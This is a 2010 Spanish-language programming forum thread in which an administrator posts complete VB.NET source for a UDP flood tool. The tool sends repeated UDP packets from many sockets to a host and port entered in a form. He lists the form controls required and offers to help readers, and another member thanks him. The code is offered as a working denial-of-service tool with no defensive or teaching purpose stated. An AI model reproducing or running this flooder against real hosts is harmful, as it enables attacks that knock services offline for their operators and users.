Pяσgяαммєяѕ χтяємєѕ

Foro creado para orientar y brindar ayuda en distintos sectores de la informatica aquellos que siempre estan en busca de informacion
 
ÍndiceCalendarioFAQBuscarMiembrosGrupos de UsuariosRegistrarseConectarse

Comparte | 
 

 Crear Un UDP FLOOD

Ver el tema anterior Ver el tema siguiente Ir abajo 
AutorMensaje
קҳ]тสuruธ
Admin
avatar

Mensajes : 17
Fecha de inscripción : 11/09/2010

MensajeTema: Crear Un UDP FLOOD   Vie Sep 17, 2010 9:36 pm

Codigo Fuente de UDP FLOOD

Imports System.Net, System.Net.Sockets, System.ComponentModel

Public Class Form1
Public Enum Status
Attacking = 1
Stopped = 2
End Enum
Friend WithEvents bgFlood As New BackgroundWorker
Dim IsFlooding As Boolean = False
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
bgFlood.WorkerReportsProgress = True
End Sub
Private Sub Flood(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles bgFlood.DoWork
Dim Ip As IPAddress = IPAddress.Parse(Host.Text)
Dim Ipandport As New IPEndPoint(Ip, Convert.ToInt32(Port.Text))
Dim Packet As Byte() = New Byte(PacketSize.text) {}
Dim SockNum As Integer = Sockets.Text
Do While IsFlooding = True
For i = 0 To SockNum
If IsFlooding = True Then
Dim _sock(i) As Socket
_sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
Try
_sock(i).SendTo(Packet, Ipandport)
bgFlood.ReportProgress(Status.Attacking)
Threading.Thread.Sleep(500)
Catch ex As Exception
Threading.Thread.Sleep(500)
End Try
Else
Exit Do
End If

Next
Loop
bgFlood.ReportProgress(Status.Stopped)

End Sub
Private Sub Report(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) Handles bgFlood.ProgressChanged
Select Case e.ProgressPercentage
Case Status.Attacking
ListBox1.Items.Add("Flooding... -" & Date.Now.ToLocalTime)
ListBox1.SelectedIndex = ListBox1.Items.Count - 1
Case Status.Stopped
ListBox1.Items.Add("Stopped... -" & Date.Now.ToLocalTime)
ListBox1.SelectedIndex = ListBox1.Items.Count - 1
End Select
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
IsFlooding = True
If Not bgFlood.IsBusy Then
bgFlood.RunWorkerAsync()
End If
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
IsFlooding = False
End Sub
End Class

Herramientas
4 TextBox
2 Botones
1 ListBox

lo demas a su gusto ya queda de ustedes interpretar el codigo esta muy facil cualquier problema q se les presente dejenlo en los comentarios y yo les ayudare a resolverlos bueno cuidence

Volver arriba Ir abajo
Ver perfil de usuario http://programmers.activo.mx
ares 77
Admin
avatar

Mensajes : 92
Fecha de inscripción : 11/09/2010

MensajeTema: Re: Crear Un UDP FLOOD   Sáb Sep 18, 2010 4:20 am



GRACIASSSSSS


Very Happy Smile Sad Surprised Shocked Cool Laughing Mad Razz Embarassed Crying or Very sad Evil or Very Mad Twisted Evil Rolling Eyes Exclamation Question Idea Arrow Neutral What a Face


bueno aportEEE
Volver arriba Ir abajo
Ver perfil de usuario
 
Crear Un UDP FLOOD
Ver el tema anterior Ver el tema siguiente Volver arriba 
Página 1 de 1.
 Temas similares
-
» Url del foro en Hide: Flood para Usuarios
» Crear vhd personalizado
» Error al crear documentos
» Crear portadas de Facebook con el estilo Windows 8
» Crear firma en recuadro sombreado

Permisos de este foro:No puedes responder a temas en este foro.
Pяσgяαммєяѕ χтяємєѕ :: Programacion :: Vb.net-
Cambiar a: